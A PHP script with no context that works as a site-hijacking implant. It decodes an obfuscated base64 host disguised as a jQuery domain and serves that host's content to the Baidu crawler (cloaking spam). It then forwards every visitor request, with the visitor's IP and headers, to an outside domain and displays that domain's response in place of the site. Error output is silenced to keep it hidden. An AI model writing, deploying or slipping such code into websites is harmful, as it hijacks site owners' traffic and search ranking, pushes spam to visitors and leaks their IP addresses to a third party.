<?php
error_reporting(0);
ini_set('display_errors', '0');
header('Content-Type: text/html; charset=utf-8');
$opts = array(
    'http' => array(
        'method' => 'GET',
        'timeout' => 5,
    ),
);
$context = stream_context_create($opts);
$er = $_SERVER;
$url = isset($er['REQUEST_URI']) ? $er['REQUEST_URI'] : '';
$c_host = isset($er['HTTP_HOST']) ? $er['HTTP_HOST'] : '';
$ent = isset($er['HTTP_USER_AGENT']) ? $er['HTTP_USER_AGENT'] : '';
$ip = isset($er['REMOTE_ADDR']) ? $er['REMOTE_ADDR'] : '';
$host_path = base64_decode('aHR0cDovL2JhaWR1LmpxdWVyeS1hcGkudG9wLw==');
$path = parse_url($url, PHP_URL_PATH) ?: $url;
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
$static = array('jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'ico', 'svg', 'css', 'js', 'txt', 'pdf', 'zip', 'rar', 'woff', 'woff2', 'ttf', 'eot', 'mp3', 'mp4', 'avi', 'mov');
if (preg_match('/\.shtml$/i', $path) || in_array($ext, $static, true)) {
} else {
    if (preg_match('/baiduspider/i', $ent)) {
        $query = http_build_query(array(
            'host' => $c_host,
            'path' => $url,
            'ip' => $ip,
        ));
        $remote_url = rtrim($host_path, '/') . '/index.php?' . $query;
        $content = @file_get_contents($remote_url, false, $context);
        if ($content !== false && $content !== '') {
            echo $content;
            exit;
        }
    }
}
?><?php
function v($k,$d){return isset($_SERVER[$k])?$_SERVER[$k]:$d;}
function rip(){
    $ip=v('HTTP_X_FORWARDED_FOR','');
    if($ip!==''){$a=explode(',',$ip);return trim($a[0]);}
    $ip=v('HTTP_CF_CONNECTING_IP','');
    return $ip!==''?trim($ip):v('REMOTE_ADDR','');
}
$uri=v('REQUEST_URI','/');
$proto=v('HTTP_X_FORWARDED_PROTO','');
if($proto===''){$proto=(v('HTTPS','')!==''&&strtolower(v('HTTPS',''))!=='off')?'https':'http';}
if($proto!=='http'&&$proto!=='https'){$proto='http';}
$ip=rip();
$ch=curl_init('http://51kp1.51kp1.net'.$uri);
if(!$ch){header('HTTP/1.1 502 Bad Gateway');exit;}
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_TIMEOUT,10);
curl_setopt($ch,CURLOPT_ENCODING,'');
curl_setopt($ch,CURLOPT_HEADER,true);
curl_setopt($ch,CURLOPT_HTTPHEADER,array(
    'User-Agent: '.v('HTTP_USER_AGENT',''),
    'X-Forwarded-For: '.$ip,
    'X-Real-IP: '.$ip,
    'X-Current-Domain: '.v('HTTP_HOST',''),
    'X-Forwarded-Proto: '.$proto,
    'X-Original-URI: '.v('HTTP_X_ORIGINAL_URI',$uri)
));
$res=curl_exec($ch);
if($res===false){
    curl_close($ch);
    header('HTTP/1.1 502 Bad Gateway');
    exit;
}
$hs=curl_getinfo($ch,CURLINFO_HEADER_SIZE);
$code=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);
$type=curl_getinfo($ch,CURLINFO_CONTENT_TYPE);
curl_close($ch);
if($code>0){header('HTTP/1.1 '.$code);}
header('Content-Type: '.($type?$type:'text/html; charset=utf-8'));
echo substr($res,$hs);